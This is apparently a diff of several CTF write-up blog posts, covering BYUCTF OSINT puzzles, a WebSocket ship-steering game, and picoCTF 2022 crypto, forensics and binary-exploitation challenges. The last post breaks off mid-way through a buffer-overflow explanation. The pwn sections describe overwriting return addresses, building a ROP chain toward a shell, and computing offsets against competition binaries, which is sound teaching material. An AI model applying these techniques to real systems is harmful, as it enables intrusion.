avatar="https://pbs.twimg.com/profile_images/1515107668242821125/ngThSrt8_400x400.jpg"
username="#1 Buckeye Fan billy"
handle="William_buckeye"
date="April 16, 2022"
text="Bring your tired
And bring your shame
Bring your guilt
And bring your pain
Don't you know that's not your name
You will always be much more to me
Every day I wrestle with the voices
That keep telling me I'm not right
But that's alright"
src="https://twitter.com/William_buckeye/status/1515237017579229185"
/>
We decided it would be best to create a list of songs, in addition to counting occurrences of topics he discussed (for brainstorming purposes). We ended up with this list:
![Screenshot of brainstorming list](/static/images/byuctf-2022/blabbin3.png)
Hey, check that out in the Songs list. "3 Words", "One Place", "Greater", "Ice Cream"? That sounds a lot like our previous challenge, "Buckeye Billy Birthday." Looks like these were meant to be solved in tandem. By extension, "Man in the Mirror" and "Magic Mirror" were also hinted at, and we found a [tweet](https://twitter.com/William_buckeye/status/1515113600750219265) of Billy posing in front of a mirror with a BYU hat. Uncoincidentally, this is the only mention of BYU in his entire profile (I believe):
<StaticTweet
avatar="https://pbs.twimg.com/profile_images/1515107668242821125/ngThSrt8_400x400.jpg"
username="#1 Buckeye Fan billy"
handle="William_buckeye"
date="April 15, 2022"
text="thanks @byu_cosmo for the great hat!"
src="https://twitter.com/William_buckeye/status/1515113600750219265"
media="https://pbs.twimg.com/media/FQbDwBvVEAcNniH?format=jpg&name=900x900"
/>
My team used steganography tools on this image, and lo and behold:
![Flag in Steganography Analysis](/static/images/byuctf-2022/blabbin5.png)
The flag is `byuctf{t@lk_0sinty_t0_m3}`. Also an extremely guessy challenge. Screw you, Buckeye Billy. And Wyatt too, if you're still reading.
---
<Challenge
title="43"
solvers={['Battlemonger', 'jktrn', 'neil-vs']}
category="osint"
points="500"
description="It's at your fingertips!! Who made this code?
`` S fsu om yjr aogr 3&quot;45` ``
format: `byuctf{blank_blank}`"
/>
Looks like something the [DCode Cipher Identifier](https://www.dcode.fr/cipher-identifier) could figure out:
```text
dCode's analyzer suggests to investigate:
Keyboard Shift Cipher ■■■■■■■■■▪
Substitution Cipher ▪
Shift Cipher ▪
Homophonic Cipher ▫
ROT Cipher ▫
```
I threw it into their [Keyboard Shift Cipher](https://www.dcode.fr/keyboard-shift-cipher) and got this:
```text
qwerty → A day in the \ife 2:34
qwerty ← D gdi p, ukt spht 4A56
qwerty ↓↻ W va7 ln ume slf4 e:v6
qwerty ↑4 S fsu om yjr aogr 3_45
qwerty ↓4 S fsu om yjr aogr 3{45
```
"A Day in the Life" is a song by the [Beatles](https://www.youtube.com/watch?v=usNsCeOV4GM) (a fascinatingly good one too), and I took a look the decoded timestamp `2:34` in the music video:
![Screenshot of Beatles music video](/static/images/byuctf-2022/43-1.png)
Although I couldn't find who the person in the timestamp was, someone in the comments named the individuals at timestamps:
![Screenshot of Beatles music video comments](/static/images/byuctf-2022/43-2.png)
![Nesmith](/static/images/byuctf-2022/43-3.png)
The guy at 3:31 is the same as the guy at 2:34, so it's Michael Nesmith from the Monkees.
Looking up "Monkees 43" on Google, we discover that there's actually an old website called [monkeesrule43.com](https://www.monkeesrule43.com/articles.html).
This is where you guess all the names of the Monkees. Not sure of the logical thought process yet. Flag is `byuctf{micky_dolenz}`.
<Box
type="info"
text=
"**Edit (06/02/22)**: The intended solve was to look at [monkeesrule43.com](https://www.monkeesrule43.com/articles.html). In their [FAQ page](https://www.monkeesrule43.com/faq.html), Question 13 asks:
> 13.) What does the weird writing on Micky's page of the Monkees' 2001 summer tourbook mean?
> - Micky's page is written in a computer keyboard code. Each letter written stands for the letter to the left of it on a computer keyboard. For example, &quot;Zovlu&quot; means Micky & &quot;Jo!&quot; means Hi!
This intended solution was pretty weird. Whoever wrote this challenge is probably the #1 Beatles fan of all time if they can remember stuff like this."
/>

View File

@@ -0,0 +1,365 @@
---
title: 'Hacky Holidays 2022: “Port Authority”, a WebSocket Strategy Game'
date: '2022-07-27'
lastmod: '2022-07-27'
tags: ['programming', 'websocket']
authors: ['enscribe']
summary: 'Play a JSON-controlled strategy game through WebSocket—this is my writeup for the Hackazon Unlock the City programming challenge "Port Authority."'
thumbnail: '/static/images/dhhutc-2022/banner.svg'
images: ['/static/images/dhhutc-2022/banner.webp']
layout: PostSimple
---
### Intro
This challenge was part of the Deloitte Hackazon Hacky Holidays "Unlock the City" 2022 CTF (yeah, what a name!). Labeled under the `#ppc` category, which apparently stands for "professional programming challenge", it was the final challenge under the "District 1" segment of the CTF and categorized under the Hard difficulty.
This was the first CTF problem which didn't just challenge my ability to critically think and problem solve - it also challenged my **motor control** and **hand-eye coordination**. Why? _Because I solved it by hand!_ I believe this challenge was meant to be solved using 100% programming, but I wanted to challenge myself. This was the process.
---
<Challenge
title="Port Authority"
authors={['Luuk Hofman', 'Diederik Bakker']}
solvers={['blueset', 'jktrn', 'sahuang']}
category="ppc"
points="5/5 = 350"
description="The harbour is in total chaos, the ships are no longer on course. The AI has disabled the brakes of all the ships and corrupted our control systems. The ships about to crash into each other, can you build a new AI that will rescue the ships and deliver the cargo?"
/>
<Box
text="Note: This is an **instance-based** challenge. No website URL will be provided!"
type="info"
/>
We're initially provided with a link that takes us to a nice-looking webgame called the "Port Traffic Control Interface":
![Initial Website](/static/images/dhhutc-2022/initial-website.gif)
Although we can't directly interact with the game using keyboard controls, there's a manual on the top-right which details the task:
![Manual Website](/static/images/dhhutc-2022/manual-website.png)
According to this, we can start playing the game and controlling the ships that appear through a [WebSocket](https://developer.mozilla.org/en-US/docs/Web/API/WebSockets_API/) connection, which is an API that enables two-way communication between a user's browser and a server. [This documentation](https://javascript.info/websocket) describes the protocol alongside how to open/close and send/receive using JavaScript.
Heavily referencing the aforementioned documentation, I started off by installing the WebSocket package with `npm i ws`, and then creating a `solve.js` with the following code:
<CodeBlock
src="dhhutc-2022/0-first-connection"
language="javascript"
fileName="solve.js"
title="Initial WebSocket Connection"
/>
Look what happens when we establish a connection - the game starts running, and we start receiving per-tick input from the server in our console:
![Start Website](/static/images/dhhutc-2022/start-website.gif)
<CodeBlock src="dhhutc-2022/0-first-logging" rawHTML={true} terminal={true} />
Let's see what happens when we send the `SHIP_STEER` command to the server after five seconds. We can do that with the [`setTimeout()`](https://developer.mozilla.org/en-US/docs/Web/API/setTimeout) method in our `socket.onopen` listener:
<CodeBlock
src="dhhutc-2022/0-steer-test"
language="javascript"
fileName="solve.js"
title="Testing steering mechanic"
range={[[9, 23]]}
addedLines={[[16, 22]]}
/>
![First Turn](/static/images/dhhutc-2022/first-turn.gif)
From the provided GIF, we can see that the ship will turn clockwise on its central point when told to steer!
With this, we have a goal: **get the ship into the port by sending JSON instructions to the WebSocket server**. However, it's definitely a good idea to create some quality-of-life features first, such as:
- A way to convert our JSON data into an object we can reference
- A class which can construct objects for each ship
- An HTML/JS "controller", which can be used to steer the ships with UI and to start new levels
Firstly, cleaning up the output involves parsing what we receive from the server, which we can do with the `JSON.parse()` method. We'll assign it into a variable named `obj` (and also delete our steer-testing code):
<CodeBlock
src="dhhutc-2022/0-json-parsing"
language="javascript"
fileName="solve.js"
title="Parsing JSON"
range={[[16, 31]]}
addedLines={[[29, 30]]}
removedLines={[[16, 22]]}
/>
Each tick, `obj` will change to an object structured this way:
<CodeBlock
src="dhhutc-2022/0-json-structure"
language="json"
title="Tick output"
showLineNumbers={false}
/>
Check out the `obj.type` key - there'll be multiple types of these (including but not limited to `"LOSS"`, `"GAME_START"`). We'll make it so that if `obj.type` is `"TICK"`, it will create a new Class instance for each object in the `obj.ships` array:
<CodeBlock
src="dhhutc-2022/0-ship-instances"
language="javascript"
fileName="solve.js"
title="Ship class, instance creation, pretty logging"
range={[[18, 49]]}
addedLines={[
[18, 32],
[38, 47],
]}
/>
With this new Class, we can get both our own `ships` array _and_ really clean logging from the server:
<CodeBlock src="dhhutc-2022/0-clean-logging" rawHTML={true} terminal={true} />
Let's finally get to solving the challenge.
---
<Challenge
title="Level 1"
solvers={['sahuang', 'blueset']}
points="25"
description="Do you know how websockets work?"
/>
The last thing I want to add was a web-based "controller", which can steer the ship on-click and start new levels. I moved all my code from a local `.js` file to [CodePen](https://codepen.io/) for instant page regeneration and accessability by teammates. Here's the HTML:
<CodeBlock
src="dhhutc-2022/1-first-buttons"
language="html"
fileName="index.html"
title="First start & steer buttons"
/>
Here's the JS that adds functionality to these buttons. Note that these are made to be scalable/"future-proof", meaning I can freely add more buttons without needing to copy/paste slight alterations of the same code. I also made some changes upon switching to the CodePen, including deleting the `require()` method and preventing level 1 from automatically starting on-open:
<CodeBlock
src="dhhutc-2022/1-futureproofing"
language="javascript"
fileName="solve.js"
title="Future-proof DOM listeners & events"
addedLines={[
[7, 12],
[53, 83],
]}
skipLines={[[23, 52]]}
removedLines={[
[1, 2],
[17, 21],
]}
scrollable={true}
/>
The preview on CodePen will look something like this:
![CodePen](/static/images/dhhutc-2022/codepen.png)
Let's see if it actually works:
![First Buttons](/static/images/dhhutc-2022/first-buttons.gif)
We could totally flag the challenge right now, but currently there's no way to see the filtered output we created. I know there's a "Console" button at the bottom-left of CodePen, but I'd like to see the output on the actual webpage, outside of the IDE. To do this, let's create a `log()` function to append strings to a `<textarea>` we'll add in the HTML:
<CodeBlock
src="dhhutc-2022/1-log-function"
language="javascript"
fileName="solve.js"
title="Converting to log() function"
range={[[11, 87]]}
addedLines={[
[44, 44],
[46, 48],
[83, 87],
]}
skipLines={[
[12, 36],
[50, 82],
]}
removedLines={[[43, 43]]}
/>
We'll also spice up the page slightly with flexboxes, a `<fieldset>` and some CSS:
<CodeBlock
src="dhhutc-2022/1-fancy-html"
language="html"
fileName="index.html"
title="Adding flexboxes and fieldsets"
addedLines={[
[1, 3],
[5, 5],
[7, 7],
[9, 9],
[11, 17],
]}
/>
<CodeBlock
src="dhhutc-2022/1-fancy-css"
language="css"
fileName="style.css"
title="Some beauty treatment"
scrollable={true}
/>
Here's the preview now:
![Updated Codepen](/static/images/dhhutc-2022/codepen2.png)
Sorry I was being extra. Let's flag the challenge now (sped up):
![Flag 1](/static/images/dhhutc-2022/flag1.gif)
<CodeBlock src="dhhutc-2022/1-flag" rawHTML={true} terminal={true} />
We've succesfully completed Level 1!
---
<Challenge
title="Level 2"
solvers={['sahuang', 'blueset']}
points="25"
description="Lets script it - don't forget the order!"
/>
"Lets script it"? I've already scripted throughout the entirety of Level 1 to accommodate for future levels! Let's add a Level 2 button to our scalable, future-proof code 😉:
<CodeBlock
src="dhhutc-2022/2-adding-flag"
language="javascript"
fileName="solve.js"
title="Adding Level 2 button"
range={[[6, 14]]}
addedLines={[[10, 13]]}
/>
<CodeBlock
src="dhhutc-2022/2-adding-html"
language="html"
fileName="index.html"
title="Adding Level 2 button"
range={[[3, 8]]}
addedLines={[[7, 7]]}
/>
This is what appears when clicking the button:
![Level 2](/static/images/dhhutc-2022/level2.gif)
Looks like we'll have to add two more steer buttons:
<CodeBlock
src="dhhutc-2022/2-more-buttons"
language="html"
fileName="index.html"
title="Adding steer buttons"
range={[[9, 15]]}
addedLines={[[12, 13]]}
/>
It seems as though that you also need the ships to enter in a specific order. It will be difficult to multitask all three, but it's doable! Let's try to solve it (also very sped up):
![Flag 2](/static/images/dhhutc-2022/flag2.gif)
<CodeBlock src="dhhutc-2022/2-flag" rawHTML={true} terminal={true} />
Although we've solved level 2 manually, I have a gut feeling the next few ones won't be as trivial...
---
<Challenge
title="Level 3"
solvers="sahuang"
points="50"
description="Can you deal with the rocks that appeared in our once so peaceful harbor?"
/>
After adding another button to start Level 3, this is the field we start with:
![Level 3](/static/images/dhhutc-2022/level3.gif)
They added some rocks to the board, and the ships are now moving at a faster speed. This is unfeasable to complete via multitasking, so we'll have to come up with a method to keep the ships in place.
Here's the plan: let's make it so that these ships will constantly rotate at a certain interval - in doing so, they'll complete a 360° loop within a small area, and we can commandeer them one-at-a-time by disabling the loop for certain ships. Let's start by adding checkboxes to enable the loop:
<CodeBlock
src="dhhutc-2022/3-loop-toggle"
language="html"
fileName="index.html"
title="Adding loop checkboxes"
range={[[10, 22]]}
addedLines={[[16, 21]]}
/>
Regarding the JavaScript, I'll be using `performance.now()` and checking if the difference between it and `window.lastRot` is greater than 500ms. This check will happen every tick, and in theory will create a consistently steering ship that doesn't produce `"ILLEGAL_MOVE"`s for inputting too quickly:
<CodeBlock
src="dhhutc-2022/3-looped-rotations"
language="javascript"
fileName="solve.js"
title="Implementing looped rotations"
range={[[40, 71]]}
addedLines={[
[40, 40],
[59, 70],
]}
/>
Let's see if it works:
![Looping](/static/images/dhhutc-2022/looping.gif)
We've managed to stabilize the playing field for a manual solve! Let's flag the level:
<video className="my-4 rounded-md" controls>
<source src="/static/images/dhhutc-2022/flag3.mp4" type="video/mp4" />
Your browser does not support the video tag.
</video>
<CodeBlock src="dhhutc-2022/3-flag" rawHTML={true} terminal={true} />
---
<Challenge
title="Level 4"
solvers="sahuang"
points="50"
description="The algorithm disturbed our radar system - boats that veer too far off track are lost and never seen again. Can you give them directions in time?"
/>
After I added the level 4 button alongside steer/loop buttons for the extra ship that popped up, I discovered that my solution for level 3 actually worked for level 4 as well:
![Level 4](/static/images/dhhutc-2022/level4.gif)
This means I can flag this level without needing to code at all!:
<video className="my-4 rounded-md" controls>
<source src="/static/images/dhhutc-2022/flag4.mp4" type="video/mp4" />
Your browser does not support the video tag.
</video>
<CodeBlock src="dhhutc-2022/4-flag" rawHTML={true} terminal={true} />
---
<Challenge
title="Level 5"
solvers={['enscribe', 'sahuang']}
points="200"
description="A huge influx of ships is coming our way - can you lead them safely to the port?"
/>
Oh boy...
![Level 5](/static/images/dhhutc-2022/level5.gif)
Level five gives us a large increase in rocks, a tiny harbor, and six total ships to work with at max speed. Unfortunately, there's not enough room for the ships to loop around in circles, so the solution to levels 3 and 4 won't work. We'll have to figure out something else.
Luckily, during some experimenation on level 1 I found out that you can actually do a full 180° turn by calling two consecutive turns in the code. In doing so, the ship won't hit any of the objects in its surroundings as compared to if it rotated 90° twice. We can observe this phenomenon below:

View File

@@ -0,0 +1,298 @@
---
title: 'PicoCTF 2022: Beginners Writeup Compilation'
date: '2022-07-25'
lastmod: '2022-07-25'
tags: ['compilation']
authors: ['enscribe']
summary: 'Learn how to capture-the-flag with this compilation of in-depth writeups from picoCTF 2022. Covers introductory-level challenges in all categories!'
thumbnail: '/static/images/picoctf-2022/beginners-compilation/banner.svg'
images: ['/static/images/picoctf-2022/beginners-compilation/banner.webp']
layout: PostSimple
# - ctfs/pico22/crypto/basic-mod1/
# - ctfs/pico22/crypto/basic-mod1-2/
# - ctfs/pico22/pwn/basic-file-exploit/
# - ctfs/pico22/crypto/pwn/cve-xxxx-xxxx/
# - ctfs/pico22/pwn/ropfu/
---
This is a series of selected challenges from the [picoCTF 2022](https://picoctf.org/) competition which are more catered towards beginner players. Through these writeups, I hope you can find takeaways to help you in your future CTFs!
---
### Binary Exploitation
<Challenge
title="basic-file-exploit"
authors="Will Hong"
solvers="jktrn"
category="pwn"
points="100"
description="The program provided allows you to write to a file and read what you wrote from it. Try playing around with it and see if you can break it! Connect to the program with netcat:
`$ nc saturn.picoctf.net 50366`"
/>
Let's connect to the server using `netcat` to see what's going on:
<CodeBlock
src="picoctf-2022/beginners-compilation/bfe-first-netcat"
rawHTML={true}
terminal={true}
/>
Since this is the binary exploitation category, we'll be looking for a vulnerability in the source code that allows us to either break or control the program at a lower level. Let's view the attachment `program-redacted.c`:
<CodeBlock src="picoctf-2022/beginners-compilation/bfe-attachment" language="c" scrollable={true} />
In the midst of this complex program, we need to figure out where the flag is, and how to trigger it to print:
<CodeBlock
src="picoctf-2022/beginners-compilation/bfe-attachment"
language="c"
skipLines={[[16, 142]]}
range={[[15, 147]]}
added={[[143, 144]]}
/>
The flag is defined in line 13 as `"[REDACTED]"`, which will be the actual location on the remote server. From lines 139-143 it looks like a condition needs to be met in order to `puts()` the flag, which writes a string to the output stream `stdout`.
Google defines `strtol()` as a function that "converts the initial part of the string in **str** to a **long int** value according to the given **base**". To break it, we need to input something that is **unconvertible into a long integer**. In this case, it would be a string, as they can't be properly coalesced into long integers!
This if statement is located within a function called `data_read()`. Let's see where it's called in the program:
<CodeBlock
src="picoctf-2022/beginners-compilation/bfe-attachment"
language="c"
range={[[179, 185]]}
/>
After we write some data with the command `1`, We should be pressing the command `2` to read from the stored data. Once it prompts us to "enter the entry number of your data", we'll send a string instead to break it. Let's head back to the `netcat` and test it out:
<CodeBlock
src="picoctf-2022/beginners-compilation/bfe-last-netcat"
rawHTML={true}
terminal={true}
/>
---
<Challenge
title="CVE-XXXX-XXXX"
authors="Mubarak Mikail"
solvers="jktrn"
category="osint"
points="100"
description="Enter the CVE of the vulnerability as the flag with the correct flag format - `picoCTF{CVE-XXXX-XXXXX}` - replacing `XXXX-XXXXX` with the numbers for the matching vulnerability. The CVE we're looking for is the first recorded remote code execution (RCE) vulnerability in 2021 in the Windows Print Spooler Service, which is available across desktop and server versions of Windows operating systems. The service is used to manage printers and print servers."
/>
This is a really trivial challenge. You can actually google "first recorded remote code execution (RCE) vulnerability in 2021" and it will be the first result:
![Google CVE](/static/images/picoctf-2022/beginners-compilation/cve-google.png)
<Box text="**CVE-XXXX-XXXX**: `picoCTF{CVE-2021-34527}`" type="flag" />
---
<Challenge
title="ropfu"
authors={['Sanjay C.', 'Lt. "Syreal" Jones']}
solvers="jktrn"
category="pwn"
points="300"
description="What's ROP?
Can you exploit the following [program](#nofileforyou) to get the flag? Download [source](#nofileforyou).
`nc saturn.picoctf.net [PORT]`"
/>
<Box
text="Warning: This is an **instance-based** challenge. Port info will be redacted alongside the last eight characters of the flag, as they are dynamic."
type="warning"
/>
<CodeBlock src="picoctf-2022/beginners-compilation/ropfu-checksec" rawHTML={true} terminal={true} />
Hey, look: a classic "ROP" (return-oriented programming) challenge with the source code provided! Let's take a look:
<CodeBlock src="picoctf-2022/beginners-compilation/ropfu-attachment" language="c" />
The source only provides us with one vulnerable function: `gets()`. I've gone over this extremely unsafe function multiple times now, so feel free to read [MITRE's Common Weakness Enumeration page](https://cwe.mitre.org/data/definitions/242) if you don't know why. There is also no convenient function with `execve("/bin/sh", 0, 0)` in it (for obvious reasons), so we will have to insert our own shellcode.
Although we could totally solve this the old-fashioned way (as John Hammond did in [his writeup](https://www.youtube.com/watch?v=c7wNN8qgxAA)), we can use the power of automation with a tool called [ROPgadget](https://github.com/JonathanSalwan/ROPgadget)! Let's try using it here to **automatically** build the ROP-chain for us, which will eventually lead to a [syscall](https://en.wikipedia.org/wiki/System_call):
<CodeBlock src="picoctf-2022/beginners-compilation/ropfu-ropchain" rawHTML={true} terminal={true} />
Oh, wow. It generated the entire script for us (unfortunately in Python2), with only a few missing bits and bobs! The only things we need to manually configure now are the offset and remote connection. Since the `checksec` mentioned that there was a canary enabled, it looks like we'll have to manually guess the offset with the `$eip`:
<CodeBlock src="picoctf-2022/beginners-compilation/ropfu-gdb" rawHTML={true} terminal={true} />
The offset is 28, as we've successfully loaded 4 hex `B`s into the `$eip`. Our last step is to set up the remote connection with [pwntools](https://docs.pwntools.com/en/stable/). Here is my final script:
<CodeBlock
src="picoctf-2022/beginners-compilation/ropfu-solve"
language="python"
scrollable={true}
/>
Let's run the script:
<CodeBlock src="picoctf-2022/beginners-compilation/ropfu-run" rawHTML={true} terminal={true} />
I know the way of ROP-fu, old man. Your shell has been snatched.
---
## Cryptography
<Challenge
title="basic-mod1"
authors="Will Hong"
solvers="jktrn"
category="crypto"
points="100"
description="We found this weird message being passed around on the servers, we think we have a working decryption scheme.
Take each number mod 37 and map it to the following character set - 0-25 is the alphabet (uppercase), 26-35 are the decimal digits, and 36 is an underscore. Wrap your decrypted message in the picoCTF flag format (i.e. `picoCTF{decrypted_message}`)"
/>
Let's go over what it's asking:
- Calculate `% 37` for each number
- Map each number to this specific charset:
- 0-25 = Uppercase alphabet (A-Z)
- 26-35 = Decimal digits (0-9)
- 36 = Underscore ("\_")
I was too lazy to learn Python and do that, so here it is in native Javascript:
<CodeBlock src="picoctf-2022/beginners-compilation/bm1-solve-js" language="javascript" />
Looking back at the problem after I learned Python, here's a solution that's significantly cleaner:
<CodeBlock src="picoctf-2022/beginners-compilation/bm1-solve-py" language="python" />
Running the scripts:
<CodeBlock src="picoctf-2022/beginners-compilation/bm1-run" rawHTML={true} terminal={true} />
---
<Challenge
title="basic-mod2"
authors="Will Hong"
solvers="jktrn"
category="crypto"
points="100"
description="A new modular challenge! Take each number mod 41 and find the modular inverse for the result. Then map to the following character set - 1-26 are the alphabet, 27-36 are the decimal digits, and 37 is an underscore. Wrap your decrypted message in the picoCTF flag format (`picoCTF{decrypted_message}`)."
/>
Let's go over what it's asking once again:
- Calculate `% 41` for each number
- Map each number to this specific charset:
- 1-26 = Uppercase alphabet (A-Z)
- 27-36 = Decimal digits (0-9)
- 37 = Underscore ("\_")
Here's a stupidly long Javascript snippet I made to solve this:
<CodeBlock src="picoctf-2022/beginners-compilation/bm2-solve" language="javascript" />
Running the script:
<CodeBlock src="picoctf-2022/beginners-compilation/bm2-run" rawHTML={true} terminal={true} />
---
<Challenge
title="credstuff"
authors={['Will Hong', "Lt. 'Syreal' Jones"]}
solvers={['MrTeaa', 'jktrn']}
category="crypto"
points="100"
description="We found a leak of a blackmarket website's login credentials. Can you find the password of the user `cultiris` and successfully decrypt it?
The first user in `usernames.txt` corresponds to the first password in `passwords.txt`. The second user corresponds to the second password, and so on."
/>
We're initially provided a `leak.tar` archive. On extraction, we're presented with two files: `usernames.txt` and `passwords.txt`:
<div className="flex flex-col items-center justify-center gap-4 md:flex-row">
<div>
<CodeBlock src="picoctf-2022/beginners-compilation/credstuff-usernames" language="text" />
</div>
<div>
<CodeBlock src="picoctf-2022/beginners-compilation/credstuff-passwords" language="text" />
</div>
</div>
Let's go to the username `cultiris`. The `-n` tag in `grep` will enable line numbers:
<CodeBlock src="picoctf-2022/beginners-compilation/credstuff-grep" rawHTML={true} terminal={true} />
Let's fine the equivalent line in `passwords.txt`:
<CodeBlock src="picoctf-2022/beginners-compilation/credstuff-search" rawHTML={true} />
On line 378 it looks like there's a flag obfuscated with shift cipher. Let's brute force this on [DCode](https://www.dcode.fr/caesar-cipher):
<CodeBlock src="picoctf-2022/beginners-compilation/credstuff-dcode" rawHTML={true} />
<Box text="**credstuff**: `picoCTF{C7r1F_54V35_71M3}`" type="flag" />
---
<Challenge
title="morse-code"
authors="Will Hong"
solvers="jktrn"
category="crypto"
points="100"
description="Morse code is well known. Can you decrypt this?
Wrap your answer with `picoCTF{}`, put underscores in place of pauses, and use all lowercase."
/>
We're presented with a `morse_chal.wav` file:
<div className="my-4 flex items-center justify-center">
<audio controls>
<source src="/static/images/picoctf-2022/beginners-compilation/morse_chal.wav" />
Your browser does not support the audio element.
</audio>
</div>
We could totally decode this by hand using [Audacity's](https://www.audacityteam.org/) visualizer, but that's super time-consuming. Instead, I opted for an automatic audio-based [Morse decoder](https://morsecode.world/international/decoder/audio-decoder-adaptive.html) online:
![Automatic Morse Decoding](/static/images/picoctf-2022/beginners-compilation/morse-code.gif)
The program outputs `WH47 H47H 90D W20U9H7`. Following the conversion instructions, the final flag is:
<Box text="**morse-code**: `picoCTF{wh47_h47h_90d_w20u9h7}`" type="flag" />
<Box
text={
'Fun fact: this string is a leetspoken version of "What hath God wrought", which was the first telegraphed message in Morse!'
}
type="info"
/>
---
## Forensics
<Challenge
title="Enhance!"
authors="Lt. 'Syreal' Jones"
solvers="jktrn"
category="forensics"
points="100"
description="Download this image file and find the flag.
<img src='/static/images/picoctf-2022/beginners-compilation/svg.png' className='!mb-0 w-72' alt='svg.png'>
<figcaption>svg.png</figcaption>"
/>
This is an SVG file, which stands for Scalable Vector Graphics. They consist of vectors, not pixels, and can be thought of as a collection of shapes on a Cartesian (x/y) plane. The code that creates such graphics can also be viewed on Google Chrome with <kbd>F12</kbd>:
![SVG Code](/static/images/picoctf-2022/beginners-compilation/svg2.png)
Look up what we end up finding in the Source tab:
<CodeBlock src="picoctf-2022/beginners-compilation/enhance-flag" language="svg" scrollable={true} />
<Box text="**Enhance!**: `picoCTF{3nh4nc3d_[REDACTED]}`" type="flag" />

View File

@@ -0,0 +1,304 @@
---
title: 'PicoCTF 2022: Buffer Overflow Series'
date: '2022-06-16'
lastmod: '2022-06-16'
tags: ['pwn', 'buffer-overflow']
authors: ['enscribe']
summary: 'Learn how to exploit vulnerable C functions to "stack-smash" executables—this is my writeup for the picoCTF 2022 binary/pwn series "Buffer overflow".'
thumbnail: /static/images/picoctf-2022/buffer-overflow/banner.svg
images: ['/static/images/picoctf-2022/buffer-overflow/banner.webp']
# - ctfs/pico22/crypto/pwn/buffer-overflow-0/
# - ctfs/pico22/crypto/pwn/buffer-overflow-1/
# - ctfs/pico22/crypto/pwn/buffer-overflow-2/
# - ctfs/pico22/crypto/pwn/buffer-overflow-3/
layout: PostSimple
---
### Intro
This is a writeup for the buffer overflow series during the **picoCTF 2022** competition. This was arguably my favorite set of challenges, as beforehand I'd never stepped into the realm of binary exploitation/pwn. I learned a lot from this, so I highly recommend solving it by yourself before referencing this document. Cheers!
---
<Challenge
title="Buffer overflow 0"
authors={['Alex Fulton', 'Palash Oswal']}
solvers="jktrn"
category="pwn"
points="100"
description="Smash the stack! Let's start off simple: can you overflow the correct buffer? The program is available [here](#go-to-picogym). You can view source [here](#go-to-picogym), and connect with it using:
`nc saturn.picoctf.net 65535`"
/>
<CodeBlock src="picoctf-2022/buffer-overflow/bo0-checksec" rawHTML={true} terminal={true} />
Let's check out our source code:
<CodeBlock src="picoctf-2022/buffer-overflow/bo0-attachment" language="c" scrollable={true} />
The first thing we should do is check how the flag is printed. Looks like it's handled in a `sigsegv_handler()` function:
<CodeBlock src="picoctf-2022/buffer-overflow/bo0-attachment" language="c" range={[[10, 14]]} />
Researching online, a "SIGSEGV" stands for a **segmentation fault**, which is an error raised by memory-protected hardware whenever it tries to access a memory address that is either restricted or does not exist. If the flag `printf()` resides within `sigsegv_handler()`, then we can safely assume that we must figure out how to trigger a segmentation fault.
We see that on line 40, the horrible `gets()` is called, and reads `buf1` (the user input) onto the stack. This function sucks, as it will write the user's input to the stack without regard to its allocated length. The user can simply overflow this length, and the program will pass their input into the `vuln()` function to trigger a segmentation fault:
<CodeBlock src="picoctf-2022/buffer-overflow/bo0-solve" rawHTML={true} terminal={true} />
---
<Challenge
title="Buffer overflow 1"
authors={['Sanjay C.', 'Palash Oswal']}
solvers="jktrn"
category="pwn"
points="200"
description="Control the return address.
Now we're cooking! You can overflow the buffer and return to the flag function in the [program](#go-to-picogym). You can view source [here](#go-to-picogym). And connect with it using:
`nc saturn.picoctf.net [PORT]`"
/>
<Box
type="warning"
text="**Warning**: This is an **instance-based** challenge. Port info will be redacted alongside the last eight characters of the flag, as they are dynamic."
/>
<CodeBlock src="picoctf-2022/buffer-overflow/bo1-checksec" rawHTML={true} terminal={true} />
Let's check out our source code:
<CodeBlock src="picoctf-2022/buffer-overflow/bo1-attachment" language="c" scrollable={true} />
In the `vuln()` function, we see that once again, the `gets()` function is being used. However, instead of triggering a segmentation fault like Buffer overflow 0, we will instead utilize its vulnerability to write our own addresses onto the stack, changing the return address to `win()` instead.
### I: Explaining the Stack 💬
Before we get into the code, we need to figure out how to write our own addresses to the stack. Let's start with a visual:
![Stack Visual](/static/images/picoctf-2022/buffer-overflow/stack-visual.svg)
Whenever we call a function, multiple items will be "pushed" onto the **top** of the stack (in the diagram, that will be on the right-most side). It will include any parameters, a return address back to `main()`, a base pointer, and a buffer. Note that the stack grows **downwards**, towards lower memory addresses, but the buffer is written **upwards**, towards higher memory addresses.
We can "smash the stack" by exploiting the `gets()` function. If we pass in a large enough input, it will overwrite the entire buffer and start overflowing into the base pointer and return address within the stack:
![Overflow Visual](/static/images/picoctf-2022/buffer-overflow/overflow-visual.png)
If we are deliberate of the characters we pass into `gets()`, we will be able to insert a new address to overwrite the return address to `win()`. Let's try!
### II: Smashing the Stack 🔨
To start, we first need to figure out our "offset". The offset is the distance, in characters, between the beginning of the buffer and the position of the `$eip`. This can be visualized with the `gdb-gef` utility by setting a breakpoint (a place to pause the runtime) in the `main()` function:
<CodeBlock src="picoctf-2022/buffer-overflow/bo1-gef1" rawHTML={true} terminal={true} />
Analyzing this breakpoint, if we look at the arrow on the assembly code, we can see that its address is the exact same as the `$eip` (`0x80492d7`). Let's try overflowing this register by passing an unhealthy amount of `A`s into the program:
<CodeBlock src="picoctf-2022/buffer-overflow/bo1-gef2" rawHTML={true} terminal={true} />
Look what happened: our program threw a SIGSEGV (segmentation) fault, as it is trying to reference the address `0x41414141`, which doesn't exist! This is because our `$eip` was overwritten by all our `A`s (`0x41` in hex = `A` in ASCII).
### III: Finessing the Stack 🛠️
Although we've managed to smash the stack, we still don't know the offset (**how many** `A`s we need to pass in order to reach the `$eip`). To solve this problem, we can use the pwntools `cyclic` command, which creates a string with a recognizable cycling pattern for it to identify:
<CodeBlock src="picoctf-2022/buffer-overflow/bo1-cyclic" rawHTML={true} terminal={true} />
We can see that `$eip` is currently overflowed with the pattern `0x6161616c` (`laaa`). let's search for this pattern using `pattern search`:
<CodeBlock src="picoctf-2022/buffer-overflow/bo1-pattern" rawHTML={true} terminal={true} />
To figure out which offset we need to use, we can use `readelf` to analyze header of the `vuln` executable:
<CodeBlock src="picoctf-2022/buffer-overflow/bo1-readelf" rawHTML={true} terminal={true} />
Our binary is in little endian, we know that 44 `A`s are needed in order to reach the `$eip`. The only thing we need now before we create our exploit is the address of the `win()` function, which will be appended to the end of our buffer to overwrite the `$eip` on the stack:
<CodeBlock src="picoctf-2022/buffer-overflow/bo1-address" rawHTML={true} terminal={true} />
Win is at `0x80491f6`, but we need to convert it to the little endian format. You can do this with the pwntools `p32()` command, which results in `\xf6\x91\x04\x08`.
Let's make a final visual of our payload:
